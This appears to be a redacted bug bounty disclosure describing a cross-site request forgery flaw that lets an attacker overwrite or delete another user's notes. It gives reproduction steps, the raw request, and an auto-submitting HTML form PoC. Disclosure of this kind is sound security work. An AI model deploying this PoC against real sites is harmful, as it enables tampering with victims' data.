CSRF allowing unauthorized modification of user Notes on ███████

How it was found

Summary:

A CSRF vulnerability allows an attacker to change a user's notes simply by clicking a link

The attacker can modify or delete all information the user left just by clicking a link

The root cause is that the endpoint ███████ does not appear to implement protection against CSRF attacks

Therefore, once the attacker knows the victim’s id, they can send a malicious link that will modify or completely delete the user’s notes

The complexity of this attack is that the attacker needs to be a member (invited) in the same organization as the victim on the site in order to obtain the victim’s correct ID to use in the link.

When you are a member of the organization you can obtain the victim’s ID very easily.

A second, less likely scenario is that the attacker guesses the victim’s ID as 1 if they are confident the user is newly registered on the site.

Steps To Reproduce:

1. Log in to your account at ███████████ after placing an order on the site
2. After logging in, you will see your Shared Notes field
3. Enter any text into the Shared Notes field and click Save Note
4. Open Burp Suite and go to the HTTP history tab
5. Find the request for the endpoint POST █████
6. Right-click that request and choose Engagement tools → Generate CSRF PoC
7. Edit the generated PoC so the client_id parameter is set to the target victim’s ID
8. Upload the generated HTML file to any web hosting or your own site
9. Visit the hosted page as a regular user (or trick the victim into visiting it). The victim’s Shared Note will be modified█████deleted when the page is loaded

Affected endpoint

Host: ████████████████████████
Cookie: ██████████
Content-Type: application██████████████x-www-form-urlencoded; charset=UTF-8
Te: trailers
Content-Length: 53

ajax=save_note&client_id={ID_victim}&note=I+Hacked+YOU&area=client

CSRF PoC

<html>
  <body>
    <form action="███████████████">
      <input type="hidden" name="ajax" value="save&#95;note" ████████████████████████████>
      <input type="hidden" name="client&#95;id" value="{{ID_victim}}" ████>
      <input type="hidden" name="note" value="i&#32;hack&#32;you" ███████████████████████████████████>
      <input type="hidden" name="area" value="client" █████████>
      <input type="submit" value="Submit request" ███████████████████>
    <███████████form>
    <script>
      history.pushState('', '', '█████████████████████████████████');
      document.forms[0].submit();
    <█████████████████████████script>
  <████body>
<██████████████████████████████html>

Supporting Material███████████References:

PoC Video

█████████████████████

Impact

• Unauthorized modification or deletion of a user’s Notes
• Loss of important data or contact information stored in notes
• Attacker can inject malicious links or social-engineering instructions into notes (enables phishing)
• Privacy████████████████████compliance risk if notes contain sensitive or regulated data
• Increased blast radius when attacker is a member of the same organization (easy access to victim client_id)
• Low-effort, high-impact exploitability once client_id is known — warrants High severity